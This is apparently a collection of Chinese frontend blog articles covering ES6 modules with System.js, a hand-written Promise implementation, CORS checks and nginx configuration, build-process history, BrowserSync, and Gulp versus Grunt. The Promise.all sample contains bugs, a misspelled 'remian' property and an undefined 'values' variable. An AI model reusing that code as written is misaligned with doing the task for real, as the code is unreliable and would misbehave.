          baseURL : "/scripts",
          transpiler : 'babel',
          map : {
            babel:'/bower_components/babel/browser.js'

          }
        }
      )
      System.import('main.js').then(function(m){
        m.default.sayHello()
      })

    </script>

...


main.js

export default {  
  sayHello : function(){
    console.log('hello')
  }
}


项目的地址在： https://github.com/stackOverMind/demo-system.js

使用gulp+browserify+babel预编译。gulp是一个Node.js平台上的任务管理平台。预编译要做很多配置，非常繁琐，推荐使用yeoman来生成项目骨架。比如使用generator-es6-webapp。

生成非常简单,在项目目录中执行

yo es6-webapp  


缺少依赖的化安装依赖就好。

4.其他，关于前端化趋势

ES6模块化意味着什么？

更强大的前端，Web技术整体前移。HTML5的发展和某些优秀浏览器的支持让web技术整体前移，以前像渲染这种工作在后端进行是由于浏览器薄弱，且有老IE这种拖后腿捣乱的选手。

简化编程模型，人工管理JS依赖和将多个JS打包这种工作可以不需要了，而配合WebComponents标准，开发Web将不再借助模板引擎和预编译引擎。

前端化还有更深远的影响--在过去浏览器是个工具，现在浏览器是个重要的工具，在未来浏览器就是用户唯一的操作系统。


 实现Promise

作者：lwl

来源： 实现Promise



                    
使用Promise是极好的，它是如此有用以至于我觉得应该好好研究一下Promise，甚至是实现一个简易的版本。实现之前，我们先来看看Promise的用途：

使用Promise

callback hell

Promise的第一个用途是能够很好地解决回调黑洞的问题，假设要实现一个用户展示的任务，这个任务分为三步：


	获取用户信息


	获取用户图像


	弹窗提示




不使用Promise，我们的实现可能是这样子：

getUserInfo(id, function (info) {
  getUserImage(info.img, function () {
    showTip();
  })
})

这里只是三步，如果有更长串的任务时，我们就会陷入到回调黑洞之中，为了解决这个问题，我们就可以使用Promise来处理这一长串任务，使用Promise的版本是这样子的：

// getUserInfo返回promise
getUserInfo(id)
  .then(getUserImage)
  .then(showTip)
  .catch(function (e) {
     console.log(e);
  });

原来向右发展的代码，开始向下发展，这样也更适合编程习惯，如果要让我们的代码更加健壮，我们就需要在每一步来处理错误信息，使用promise这后，我们只需要在最后的catch中做善后处理。

并发

假如我们要显示某一个页的10条记录，但是我们只有一个通过id获取记录的接口，这样我们就需要发送10个请求，并且所有请求都完成之后再将记录全部添加到页面之中，Promise在这个场景下使用是特别合适的。

代码可能是这样子：

// ids要获取信息的所有记录id
// getRecordById获取记录的接口，返回promise
Promise.all(ids.map(getRecordById))
  .then(showRecords)
  .catch(function (e) {
     console.log(e);
  });

这就是Promise的一些简单的用途，当然令人兴奋的是Promise已经是ES6的标准，而且目前很多浏览器已经原生支持Promise了。对于那些无法使用Promise的浏览器，我们就只能自己去实现了，下面就来看看Promise的简单实现吧。

实现

warm up

先来盗用一张MDN的图，先来热热身，看看Promise的状态迁移：



Promise有三种状态：


	pending：初始状态, 非 fulfilled 或 rejected


	fulfilled: 成功的操作


	rejected: 失败的操作




我们可以看出新建的Promise是pending状态，fulfill之后就会执行调用then的回调函数了，倘若reject了就会调用catch来进行异常处理了，并且无论是调用then还是catch都会返回新的promise，这就是为什么promise可以链式调用了。

接着，我们来研究一下规范是怎么描述
promise的。这里只抽取核心部分，边界问题不考虑。

构造函数：Promise ( executor )


	检查参数：例如executor是不是函数啊


	初始化：[[State]]=pending，[[FulfillReactions]]=[],[[RejectReactions]]=[]


	创建resolve对象：{[[Resolve]]: resolve, [[Reject]]: reject}


	执行executor：executor(resolve, reject)




因此构造函数里面传入的excuter是立即被执行的。FulfillReactions存储着promise执行成功时要做的操作，RejectReactions存储着promise是要执行的操作。

function Promise(resolver) {
  this._id = counter++;
  this._state = PENDING;
  this._result = undefined;
  this._subscribers = [];

  var promise = this;

  if (noop !== resolver) {
    try {
      resolver(function (value) {
        resolve(promise, value);
      }, function (reason) {
        reject(promise, reason);
      });
    } catch (e) {
      reject(promise, e);
    }
  }
}

FulfillPromise(promise, value)


	检查[[state]]，必须为pending（不是pending的表示已经解析，不能重复解析）


	赋值：[[Result]]=value，[[state]]=fulfilled


	触发[[FulfillReactions]]的操作




和FulfillPromise联系最紧密的就是ResolvePromise了，这里我们给出的是ResolvePromise的实现，区别只是多了直接解析Promise。

function resolve(promise, value) {
  // 要resolve的为promise（then的callback返回的是promise）
  if (typeof value === 'object'
    && promise.constructor === value.constructor) {
    handleOwnThenable(promise, value);
  } 
  // 要resolve的是值
  else {
    if (promise._state !== PENDING) { return; }

    promise._result = value;
    promise._state = FULFILLED;

    asap(publish, promise);
  }
}

function handleOwnThenable(promise, thenable) {
  // 如果返回的promise已经完成
  // 直接用该promise的值resolve父promise
  if (thenable._state === FULFILLED) {
    resolve(promise, thenable._result);
  } else if (thenable._state === REJECTED) {
    reject(promise, thenable._result);
  }
  // 如果返回的promise未完成
  // 要等该promise完成再resolve父promise
  else {
    subscribe(thenable, undefined, function(value) {
      resolve(promise, value);
    }, function(reason) {
      reject(promise, reason);
    });
  }
}

RejectPromise(promise, reason)


	检查[[state]]，必须为pending（不是pending的表示已经解析，不能重复解析）


	赋值：[[Result]]=reason，[[state]]=rejected


	触发[[RejectReactions]]的操作




触发[[FulfillReactions]]和触发[[RejectReactions]]实际就是遍历数组，执行所有的回调函数。

function reject(promise, reason) {
  if (promise._state !== PENDING) { return; }

  promise._state = REJECTED;
  promise._result = reason;

  asap(publish, promise);
}

Promise.prototype.then(onFullfilled, onRejected)


	promise=this


	新建resultCapability三元组，{[[Promise]], [[Resolve]], [[Reject]]}（[[Promise]]新建的）


	fulfillReaction={[[Capabilities]]: resultCapability, [[Handler]]: onFulfilled}


	rejectReaction={[[Capabilities]]: resultCapability, [[Handler]]: onRejected}


	如果[[state]]是pending：fulfillReaction加入[[FulfillReactions]]，rejectReaction加入[[RejectReactions]]


	如果[[state]]是fulfilled：fulfillReaction加入执行队列


	如果[[state]]是rejected：rejectReaction加入执行队列


	返回resultCapability.[[Promise]]




这里可以看出构造函数和then的关系是很紧密的，新建的promise如果是异步操作，那么状态就是pending，调用then时会新建子promise，并且将回调操作加入父promise的[[FulfillReactions]]或[[RejectReactions]]的数组里，这实际就是发布订阅模式。

他们是这样的关系：



无论是new promise还是调用then或catch，都会得到一个新的promise，这些promise都会订阅父级promise的完成事件，父级promise完成之后就会执行一系列的回调操作，也就是发布。

Promise.prototype.catch(onRejected)

	then的语法糖：then(null, onRejected)




下面就是Promise原型：

Promise.prototype = {
  constructor: Promise,

  then: function (onFulfillment, onRejection) {
    var parent = this;
    var state = parent._state;

    if (state === FULFILLED && !onFulfillment
        || state === REJECTED && !onRejection) {
        return this;
    }

    var child = new Promise(noop);
    var result = parent._result;

    if (state) {
      var callback = arguments[state - 1];
      asap(function () {
        invokeCallback(state, child, callback, result);
      });
    } else {
      subscribe(parent, child, onFulfillment, onRejection);
    }

    return child;
  },

  'catch': function (onRejection) {
    return this.then(null, onRejection);
  }
};

Promise.resolve(value)


	新建promise


	调用ResolvePromise(promise, value)（未列出，会判断一些情况然后调用FulfillPromise）


	返回promise




Promise.resolve = function (arg) {
  var child = new Promise(noop);
  resolve(child, arg);
  return child;
};

Promise.reject(value)


	新建promise


	调用RejectPromise(promise, value)


	返回promise




Promise.reject = function (reason) {
  var child = new Promise(noop);
  reject(child, reason);
  return child;
};

Promise.all(iterator)

到这里我们已经能够实现基本的promise了，Promise.all和Promise.race就不继续描述了，有兴趣的可以继续去读规范，这里上图来说明我对这两个函数的理解：



调用promise.all会新建一个对象来存储所有promise的处理状态，保存执行的结果，当remain为0时，就可以resolve 新建的promise，这样就可以继续往后执行了。

Promise.all = function (promises) {
  var child = new Promise(noop);
  var record = {
    remain: promises.length,
    values: []
  };
  promises.forEach(function (promise, i) {
    if (promise._state === PENDING) {
      subscribe(promise, undefined, onFulfilled(i), onRejected);
    } else if (promise._state === REJECTED) {
      reject(child, promise._result);
      return false;
    } else {
      --record.remain;
      record.values[i] = promise._result;
      if (record.remain == 0) {
        resolve(child, values);
      }
   }
  });
  return child;

  function onFulfilled(i) {
    return function (val) {
      --record.remain;
      record.values[i] = val;
      if (record.remian === 0) {
        resolve(child, record.values);
      }
    }
  }
  
  function onRejected(reason) {
    reject(child, reason);
  }
};

Promise.race(iterator)

promise.race与promise.all类似，不过只要有一个promise完成了，我们就可以resolve新建的promise了。

Promise.race = function (promises) {
  var child = new Promise(noop);

  promises.forEach(function (promise, i) {
    if (promise._state === PENDING) {
      subscribe(promise, undefined, onFulfilled, onRejected);
    } else if (promise._state === REJECTED) {
      reject(child, promise._result);
      return false;
    } else {
      resolve(child, promise._result);
      return false;
    }
  });
  return child;

  function onFulfilled(val) {
    resolve(child, val);
  }
        
  function onRejected(reason) {
    reject(child, reason);
  }
};

这就是promise的基本内容了，完整代码请戳这里。

其他问题

promises 穿透

如果传入then里面的参数不是函数，就会被忽略，这就是promise穿透的原因，所以永远往then里面传递函数。答案可以从then方法里面调用的一个关键函数invokeCallback中找到答案：

function invokeCallback(settled, promise, callback, detail) {
    var hasCallback = (typeof callback === 'function'),
      value, error, succeeded, failed;

    if (hasCallback) {

      try {
        value = callback(detail);
      } catch (e) {
        value = {
          error: e
        };
      }

      if (value && !!value.error) {
        failed = true;
        error = value.error;
        value = null;
      } else {
        succeeded = true;
      }

    }
    // then的参数不是函数
    // 会被忽略，也就是promise穿透
    else {
      value = detail;
      succeeded = true;
    }

    if (promise._state === PENDING) {
      if (hasCallback && succeeded
          || settled === FULFILLED) {
        resolve(promise, value);
      } else if (failed || settled === REJECTED) {
        reject(promise, error);
      }
    }
  }

例如如下例子，结果都是输出foo：

Promise.resolve('foo').then(Promise.resolve('bar')).then(function (result) {
  console.log(result);
});

Promise.resolve('foo').then(null).then(function (result) {
  console.log(result);
});

拥抱金字塔

promise能够很好的解决金字塔问题，但是有时候我们也是需要适当使用金字塔的，例如我们要同时获取两个promise的结果，但是这两个promise是有关联的，也就是有顺序的，该怎么办？

也许解决方案会是这样，定义一个全局变量，这样在第二个then里面就可以使用两个promise的结果了。

var user;
getUserByName('nolan').then(function (result) {
  user = result;
  return getUserAccountById(user.id);
}).then(function (userAccount) {
  // 好了， "user" 和 "userAccount" 都有了
});

但是这不是最好的方案，此时何不抛弃成见，拥抱金字塔：

getUserByName('nolan').then(function (user) {
  return getUserAccountById(user.id).then(function (userAccount) {
    // 好了， "user" 和 "userAccount" 都有了
  });
});

promise是如此强大而且难以理解，但是抓住实质之后其实并没有想象的那么复杂，这也是为什么我要写下这篇文章。更过关于如何正确使用promise，请看第三篇参考文章，强力推荐。

参考


	实现promise


	MDN-Promise


	ES6-Promise规范


	We have a problem with promises





  浏览器和服务器实现跨域（CORS）判定的原理

作者：chitanda

来源：  浏览器和服务器实现跨域（CORS）判定的原理



                    
前端对Cross-Origin Resource Sharing 问题(CORS，中文又称'跨域')应该很熟悉了。众所周知出于安全的考虑，浏览器有个同源策略，对于不同源的站点之间的相互请求会做限制（跨域限制是浏览器行为，不是服务器行为。）。不过下午想到了一个略无趣的问题：浏览器和服务器到底是如何判定有没有跨域呢？本文主要分两个部分，一是对这个问题的总结，二是nginx下如何配置服务器允许跨域。
<!-- more -->

同源策略

同源指的是域名（或IP），协议，端口都相同，不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下，不能读写对方的资源。



同源的判定：
以http://www.example.com/dir/page.html为例，以下表格指出了不同形式的链接是否与其同源：（原因里未申明不同的属性即说明其与例子里的原链接对应的属性相同）



	链接
	结果
	原因





	http:// www.example.com /dir/page2.html
	是
	同协议同域名同端口



	http:// www.example.com /dir2/other.html
	是
	同协议同域名同端口



	http://user:pwd@ www.example.com/dir2/other.html
	是
	同协议同域名同端口



	http://www.example.com: 81/dir/other.html
	否
	端口不同



	 https://www.example.com/dir/other.html
	否
	协议不同端口不同



	http:// en.example.com/dir/other.html
	否
	域名不同



	http:// example.com/dir/other.html
	否
	域名不同（要求精确匹配）



	http:// v2.www.example.com/dir/other.html
	否
	域名不同（要求精确匹配）



	http://www.example.com: 80/dir/other.html
	不确定
	取决于浏览器的实现方式





是否允许跨域的判定

前文提到了同源策略的判定，然而同源策略在加强了安全的同时，对开发却是极大的不便利。因此开发者们又发明了很多办法来允许数据的跨域传输（常见的办法有JSONP、CORS)。当域名不同源的时候，由于跨域实现的存在，浏览器不能直接根据域名来判定跨域限制。那么浏览器具体又是如何实现判定的呢？看下面的例子。

环境说明


	参与实验的前端域名三个有：http://www.zhihu.com、http://segmentfault.com、
http://localhost。


	请求的服务器端地址为http://localhost/city.json,服务器解析引擎使用的nginx,且服务器只配置了允许来自http://segmentfault.com的跨域请求


	
检测方法：在各个域名下利用chrome浏览器的console界面模拟发送ajax请求，代码如下：

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost/city.json',true);
xhr.send();





实验过程


	
在http://localhost域名下,请求成功。

服务器回应的http文件头如下：

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sun, 05 Jul 2015 17:44:06 GMT
Content-Type: application/octet-stream
Content-Length: 2084
Last-Modified: Sat, 18 Apr 2015 06:20:12 GMT
Connection: keep-alive
ETag: "5531f79c-824"
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS
Accept-Ranges: bytes



	
在http://segmentfault.com域名下，请求成功

服务器回应的http文件头如下：

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sun, 05 Jul 2015 18:17:27 GMT
Content-Type: application/octet-stream
Content-Length: 2084
Last-Modified: Sat, 18 Apr 2015 06:20:12 GMT
Connection: keep-alive
ETag: "5531f79c-824"
**Access-Control-Allow-origin: http://segmentfault.com**
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS
Accept-Ranges: bytes



	在http://www.zhihu.com下，请求失败
虽然都是失败，但是返回的HTTP文件头内容会视服务器是否有配置跨域请求而发生变化




服务器允许跨域请求

(仅允许来自http://segmentfault.com的跨域请求)
console.log窗口提示：

XMLHttpRequest cannot load http://localhost/city.json. The 'Access-Control-Allow-Origin' header has a value     'http://segmentfault.com' that is not equal to the supplied origin. Origin 'http://www.zhihu.com' is therefore notallowed access.



服务器回应的http文件头如下：

    HTTP/1.1 200 OK
    Server: nginx/1.6.2
    Date: Sun, 05 Jul 2015 17:59:25 GMT
    Content-Type: application/octet-stream
    Content-Length: 2084
    Last-Modified: Sat, 18 Apr 2015 06:20:12 GMT
    Connection: keep-alive
    ETag: "5531f79c-824"
    Access-Control-Allow-origin: http://segmentfault.com
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET, POST, OPTIONS
    Accept-Ranges: bytes

服务器不允许任何跨域请求

console.log窗口提示:

XMLHttpRequest cannot load http://localhost/city.json. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://www.zhihu.com' is therefore not allowed access.



服务器回应的http文件头如下：

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sun, 05 Jul 2015 17:51:29 GMT
Content-Type: application/octet-stream
Content-Length: 2084
Last-Modified: Sat, 18 Apr 2015 06:20:12 GMT
Connection: keep-alive
ETag: "5531f79c-824"
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS
Accept-Ranges: bytes

跨域的判定流程

从zhihu页面的两次浏览器报错以及segmentfault的成功返回值来看，可以很容易得出浏览器和服务器的合作判定步骤如下：


	浏览器先根据同源策略对前端页面和后台交互地址做匹配，若同源，则直接发送数据请求；若不同源，则发送跨域请求。


	服务器解析程序收到浏览器跨域请求后，根据自身配置返回对应文件头。若未配置过任何允许跨域，则文件头里不包含Access-Control-Allow-origin字段，若配置过域名，则返回Access-Control-Allow-origin+ 对应配置规则里的域名的方式。


	浏览器根据接受到的http文件头里的Access-Control-Allow-origin字段做匹配，若无该字段，说明不允许跨域；若有该字段，则对字段内容和当前域名做比对，如果同源，则说明可以跨域，浏览器发送该请求；若不同源，则说明该域名不可跨域，不发送请求






（但是不能仅仅根据服务器返回的文件头里是否包含Access-Control-Allow-origin来判断其是否允许跨域，因为服务器端配置多域名跨域的时候，也会出现不能跨域的域名返回包里没有Access-Control-Allow-origin字段的情况。下文配置说明里会讲。)

配置服务器实现跨域传输

前面讲到了同源策略的基本判定，以及浏览器实现跨域判断的方式，那么，如何在服务器端做配置来允许跨域传输呢？下文将以Nginx为例，讲一下三种情况下的配置。

配置项解析

CORS常用的配置项有以下几个：

	Access-Control-Allow-Origin（必含） – 允许的域名，只能填通配符或者单域名







	Access-Control-Allow-Methods（必含） – 这允许跨域请求的http方法（常见有POST、GET、OPTIONS）


	Access-Control-Allow-Headers（当预请求中包含Access-Control-Request-Headers时必须包含） – 这是对预请求当中Access-Control-Request-Headers的回复，和上面一样是以逗号分隔的列表，可以返回所有支持的头部。


	Access-Control-Allow-Credentials（可选） – 该项标志着请求当中是否包含cookies信息，只有一个可选值：true（必为小写）。如果不包含cookies，请略去该项，而不是填写false。这一项与XmlHttpRequest2对象当中的withCredentials属性应保持一致，即withCredentials为true时该项也为true；withCredentials为false时，省略该项不写。反之则导致请求失败。


	Access-Control-Max-Age（可选） – 以秒为单位的缓存时间。预请求的的发送并非免费午餐，允许时应当尽可能缓存。




具体配置举例

全域名或者单域名允许跨域

这个最省心
打开Nginx的配置文件（默认为nginx.conf）。找到对应域名设置的local配置部分。
添加以下内容：

add_header 'Access-Control-Allow-origin' 'http://www.example.com';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';

添加的域名必须带http://协议头（否则服务器无法区分是http还是https），如果接受所有域名的跨域请求，则可以用*(安全性有问题，不推荐)



添加多域名跨域配置

如果允许跨域的域名有多个但出于安全问题又不想配置全域名通配的时候，就可以用到nginx里的if判断了。
添加如下内容：

if ($http_origin = 'http://segmentfault.com' ) {  
 add_header 'Access-Control-Allow-Origin' "$http_origin";
 }
if ($http_origin = 'http://localhost:4000' ) {  
 add_header 'Access-Control-Allow-Origin' "$http_origin";
 }
 add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';

	如果对正则比较熟悉的，可以直接用正则来匹配条件判断，不需要用if这么麻烦的方式。







	'Access-Control-Allow-Methods' 允许多参数，'Access-Control-Allow-origin'不允许多参数，所以只能是条件语句判断要不要加这个。这也是我前面提到的为什么即使HTTP文件头返回值里没有'Access-Control-Allow-origin',也不能说明它就是不允许跨域的。


	nginx配置文件的http配置部分不能用if条件语句，所以多域名的时候必须加在local部分内。另外加在local内的只对对应的服务器域名做跨域请求的配置，加在http里会让跑在该nginx下的所有网站都统一采取这种配置。


	Access-Control-Allow-Origin也可以改成全小写的形式，不影响结果.(access-control-allow-origin也可以)




PS：
这篇文章写的可能有点绕，另外由于运维方面和WEB安全方面不是特别熟悉，所以后面配置那里未必是最优解，恳请看到的各位指点。

参考文献


	Same-origin policy


	HTTP access control (CORS)


	Using CORS


	利用CORS实现跨域请求 (是参考文献2的中译版，配置参数解析那里有所参考)


	enable cross-origin resource sharing





 前端的工程化

作者：老婆婆

来源： 前端的工程化



                    
背景


前端这个职位的诞生也有短短的十年。而在十年之前，我不认识你，那会还叫网页制作，用着一个Adobe非常牛逼的软件叫Dreamweaver。这是一个神奇的软件，绚丽多彩的网页通过它，拖拖拽拽，就这么梦幻般的生成了。网页制作师们，像一群织梦的妇人，心灵手巧，耐苦耐劳，从不抱怨。


直到有一天。


有位妇人（第一位妇人）站出来说：



  我不用Dreamweaver了，它生成的网页垃圾代码太多，而且兼容性问题很多，特别是IE下，制作出来和实际展示完全不一样，修改还麻烦，好坑爹。




第二位妇人也站了出来：



  对！




第三位妇人站了出来：



  说得好！




第四位妇人站了出来：



  我要手写代码！




自此，前端工程师诞生了！


最初的前端开发


网页开始逐步由拖拽生成转变为手写代码，从此，手写HTML，CSS，Javascript，会点PS掌握切图，成为了前端妇人们长期赖以生存的技能。


手写的代码什么样呢？最简单的就是下面这样。


demo.html


html...
<link rel="stylesheet" href="a.css"/>
<link rel="stylesheet" href="b.css"/>
...



<p class="foo">Wish you happy everyday!</p>






a.css


css.foo{
  color: red;
}



这便是最初的前端开发。


缓存


如上的「最简单的手写代码」上线后。


第一次访问：





第二次访问：





会发现，两次css文件的请求有明显区别，不断是大小（Size）、时间（Timeline）和状态（Status）。这便是缓存在作祟。


用户在非首次访问时，速度会更快，花费时间也少。这么看来：



  缓存太好了，不用每次都去服务器下载静态资源，真想把什么都给缓存下来。




直到有一天。


有位妇人（第一位妇人，妇人A）要更新a.css：


css.foo{
  color: blue;
}



更新完上线，老板去访问时，发现.foo的color还是red：



  妇人A你确定更新了么？我这怎么没生效！




妇人A惊呆了：



  老板，要清除缓存，每次更新都得清除缓存呀！不信你问QA。




老板：



  ....




QA：



  ....




这时候第二位妇人（妇人B）站了出来：



  你上线时把a.css换个名字不就行了。改成a1.css，浏览器不就用不到缓存了嘛~ ╮(￣▽￣")╭




妇人B的机智和卖萌彻底征服了妇人A。


合并网络请求


妇人A慢慢开始接触大项目，CSS和JS文件越来越多：


html...
<link rel="stylesheet" href="a.css"/>
<link rel="stylesheet" href="b.css"/>
<link rel="stylesheet" href="c.css"/>
<script type="text/javascript" src="a.js"></script>
<script type="text/javascript" src="b.js"></script>
<script type="text/javascript" src="c.js"></script>
...







老板又来了，找妇人A：



  能不能把你引入的这些css和js合并起来啊，看着上面的网络请求一大坨心里难受啊。




身为处女座的老板，还是懂很多的。


妇人A：



  有啥好处咩~ ヾ(≧▽≦*)o




妇人A被妇人B影响，也开始卖萌起来。


老板：



  好处多多啊，合并静态文件，减少网络请求，大大加快了网页请求速度啊！




于是，妇人A按照老板的要求，把a.css、b.css和c.css合并成all.css，把a.js、b.js和c.js合并成all.js。


压缩静态文件


过了几天，妇人B也找到了妇人A：



  既然你都合并CSS和JS，顺便把它们都压缩下吧。可以减少文件大小，减少网络请求的Size。好事做到底。




妇人A不解：



  为熟么捏~




妇人B：



  因为我萌啊~ （￣ c￣）




听了妇人B的解释，妇人A似乎明白了什么，赶紧去网上找了些压缩工具，把all.css压缩成min.all.css，把all.js压缩成了min.all.js。


工程化


最终由妇人A住到的这个项目的代码变成了这样：


html<link rel="stylesheet" href="min.all.css"/>
<script type="text/javascript" src="min.all.js"></script>



期间经历了



	手写前端代码

	消除缓存影响

	合并网络请求

	压缩静态资源



前端妇人们不再只管写HTML，CSS和JS，还要考虑性能。



前端开发已然成为一个工程化问题。


经历了这么多，妇人A也慢慢觉得自己牛逼起来，却不知道，他的进化之旅才刚刚开始。


 BrowserSync -- 你值得拥有的多浏览器测试工具

作者：Integ

来源： BrowserSync -- 你值得拥有的多浏览器测试工具



                    
BrowserSync 是一个同步多浏览器页面测试工具。

BrowserSync makes your tweaking and testing faster by synchronising file changes and interactions across multiple devices. It’s wicked-fast and totally free.



有了它，你不用在多个浏览器间来回切换，不断刷新来看效果了。更神奇的是你在一个浏览器中滚动页面、点击按钮等用户行为也会同步到每个浏览器中。



官方的视频演示。

		又是传说中的5分钟快速安装：






	安装nodeJs


	
安装 BrowserSync

   $ npm install -g browser-sync




	
启动 browser-sync


	
html静态页面：

    
    $ browser-sync start --server --files "css/*.css"




	
用php等语言渲染的动态页面，需要用代理模式

    $ browser-sync start --proxy "myproject.dev" --files "css/*.css"










有了这个神器，苦逼的前端GG是不是有时间去和心仪的妹子约会了呢？


 前端工程的构建工具对比 Gulp vs Grunt

作者：Aomine

来源： 前端工程的构建工具对比 Gulp vs Grunt



                    
转自Gulp vs Grunt


1. Grunt -> Gulp


早些年提到构建工具，难免会让人联想到历史比较悠久的Make，Ant，以及后来为了更方便的构建结构类似的Java项目而出现的Maven。Node催生了一批自动化工具，像Bower，Yeoman，Grunt等。而如今前端提到构建工具会自然想起Grunt。Java世界里的Maven提供了强大的包依赖管理和构建生命周期管理。


在JavaScript的世界里，Grunt.js是基于Node.js的自动化任务运行器。2013年02月18日，Grunt v0.4.0 发布。Fractal公司积极参与了数个流行Node.js模块的开发，它去年发布了一个新的构建系统Gulp，希望能够取其精华，并取代Grunt，成为最流行的JavaScript任务运行器。


2. Grunt的特点



	Grunt有一个完善的社区，插件丰富

	它简单易学，你可以随便安装插件并配置它们

	你不需要多先进的理念，也不需要任何经验



完善 – Grunt的插件数据： 根据社区的结果显示，共计3,439个插件，其中49个官方插件。


易用 – Grunt的插件丰富： 许多常见的任务都有现成的Grunt插件，而且有众多第三方插件，如：CoffeeScript，Handlebars，Jade，JsHint，Less，RequireJS，Sass，Styles。而且通过参考文档进行配置便可以使用。


3. Gulp和Grunt的异同点



	易于使用：采用代码优于配置策略，Gulp让简单的事情继续简单，复杂的任务变得可管理。

	高效：通过利用Node.js强大的流，不需要往磁盘写中间文件，可以更快地完成构建。

	高质量：Gulp严格的插件指导方针，确保插件简单并且按你期望的方式工作。

	易于学习：通过把API降到最少，你能在很短的时间内学会Gulp。构建工作就像你设想的一样：是一系列流管道。



易用 Gulp相比Grunt更简洁，而且遵循代码优于配置策略，维护Gulp更像是写代码。


高效 Gulp相比Grunt更有设计感，核心设计基于Unix流的概念，通过管道连接，不需要写中间文件。


高质量 Gulp的每个插件只完成一个功能，这也是Unix的设计原则之一，各个功能通过流进行整合并完成复杂的任务。例如：Grunt的imagemin插件不仅压缩图片，同时还包括缓存功能。他表示，在Gulp中，缓存是另一个插件，可以被别的插件使用，这样就促进了插件的可重用性。目前官方列出的有673个插件。


易学 Gulp的核心API只有5个，掌握了5个API就学会了Gulp，之后便可以通过管道流组合自己想要的任务。


4. Yeoman Team Talks


Yeoman团队去年12月份时在Github上也专门提过一个issue，讨论是否使用Gulp取代Grunt：他们提到Gulp是一个新的基于流的管道式构建系统，需要很少的配置并且更快。


5. Gruntfile.js


module.exports = function(grunt) {
grunt.initConfig({
    concat: {
        'dist/all.js': ['src/*.js']
    },
    uglify: {
        'dist/all.min.js': ['dist/all.js']
    },
    jshint: {
        files: ['gruntfile.js', 'src/*.js']
    },
    watch: {
        files: ['gruntfile.js', 'src/*.js'],
        tasks: ['jshint', 'concat', 'uglify']
    }
});


// Load Our Plugins
grunt.loadNpmTasks('grunt-contrib-jshint');
grunt.loadNpmTasks('grunt-contrib-concat');
grunt.loadNpmTasks('grunt-contrib-uglify');
grunt.loadNpmTasks('grunt-contrib-watch');


// Register Default Task
grunt.registerTask('default', ['jshint', 'concat', 'uglify']);
};



6. Gulpfile.js


var gulp = require('gulp');
var jshint = require('gulp-jshint');
var concat = require('gulp-concat');
var rename = require('gulp-rename');
var uglify = require('gulp-uglify');

// Lint JS
gulp.task('lint', function() {
return gulp.src('src/*.js')
    .pipe(jshint())
    .pipe(jshint.reporter('default'));
});

// Concat & Minify JS
gulp.task('minify', function(){
return gulp.src('src/*.js')
    .pipe(concat('all.js'))
    .pipe(gulp.dest('dist'))
    .pipe(rename('all.min.js'))
    .pipe(uglify())
    .pipe(gulp.dest('dist'));
});

// Watch Our Files
gulp.task('watch', function() {
gulp.watch('src/*.js', ['lint', 'minify']);
});

// Default
gulp.task('default', ['lint', 'minify', 'watch']);



7. 差异和不同



	流：Gulp是一个基于流的构建系统，使用代码优于配置的策略。

	插件：Gulp的插件更纯粹，单一的功能，并坚持一个插件只做一件事。

	代码优于配置：维护Gulp更像是写代码，而且Gulp遵循CommonJS规范，因此跟写Node程序没有差别。

	没有产生中间文件



8. I/O流程的不同



	使用Grunt的I/O过程中会产生一些中间态的临时文件，一些任务生成临时文件，其它任务可能会基于临时文件再做处理并生成最终的构建后文件。

	而使用Gulp的优势就是利用流的方式进行文件的处理，通过管道将多个任务和操作连接起来，因此只有一次I/O的过程，流程更清晰，更纯粹。



9. Gulp的核心：流


Gulp通过流和代码优于配置策略来尽量简化任务编写的工作。这看起来有点“像jQuery”的方法，把动作串起来创建构建任务。早在Unix的初期，流就已经存在了。流在Node.js生态系统中也扮演了重要的角色，类似于*nix将几乎所有设备抽象为文件一样，Node将几乎所有IO操作都抽象成了Stream的操作。因此用Gulp编写任务也可看作是用Node.js编写任务。当使用流时，Gulp去除了中间文件，只将最后的输出写入磁盘，整个过程因此变得更快。


Doug McIlroy, then head of the Bell Labs CSRC (Computing Sciences Research Center), and inventor of the Unix pipe, summarized the Unix philosophy as follows:



  This is the Unix philosophy: Write programs that do one thing and do it well. Write programs to work together. Write programs to handle text streams, because that is a universal interface.




基于流的模块特点：



	Write modules that do one thing and do it well.

	Write modules that work together.

	Write modules that handle events and streams.



Unix管道示例：


tput setaf 88 ; whoami | figlet | tr _ … | tr \ \` | tr \| ¡ | tr / √



10. 为什么应该使用流？


Node中的I/O操作是异步的，因此磁盘的读写和网络操作都需要传递回调函数。


var http = require('http');
var fs = require('fs');

var server = http.createServer(function (req, res) {
        fs.readFile(__dirname + '/data.txt', function (err, data) {
                res.end(data);
        });
});
server.listen(8000);



这个Node.js应用很简单，估计所有学习过Node的人都做过这样的练习，可以说是Node的Hello World了。这段代码没有任何问题，你使用node可以正常的运行起来，使用浏览器或者其他的http客户端都可以正常的访问运行程序主机的8000端口读取主机上的data.txt文件。但是这种方式隐含了一个潜在的问题，node会把整个data.txt文件都缓存到内存中以便响应客户端的请求（request），随着客户端请求的增加内存的消耗将是非常惊人的，而且客户端需要等待很长传输时间才能得到结果。让我们再看一看另外一种方式，使用流：


var http = require('http');
var fs = require('fs');

var server = http.createServer(function (req, res) {
        var stream = fs.createReadStream(__dirname + '/data.txt');
        stream.pipe(res);
});
server.listen(8000);



这里面有一个非常大的变化就是使用createReadStream这个fs的方法创建了stream这个变量，并由这个变量的pip方法来响应客户端的请求。使用stream这个变量就可以让node读取data.txt一定量的时候就开始向客户端发送响应的内容，而无需服务缓存以及客户端的等待。


Node中Stream的种类



	Readable（可读）

	Writeable（可写）

	Duplex（双工）

	Transform（运算双工）



流可以是可读（Readable）或可写（Writable），或者兼具两者（Duplex，双工）的。所有流都是 EventEmitter，但它们也具有其它自定义方法和属性，取决于它们是 Readable、Writable 或 Duplex。











Depends on



	Liftoff

	Through2

	
Vinyl, Vinyl-fs


	Orchestrator



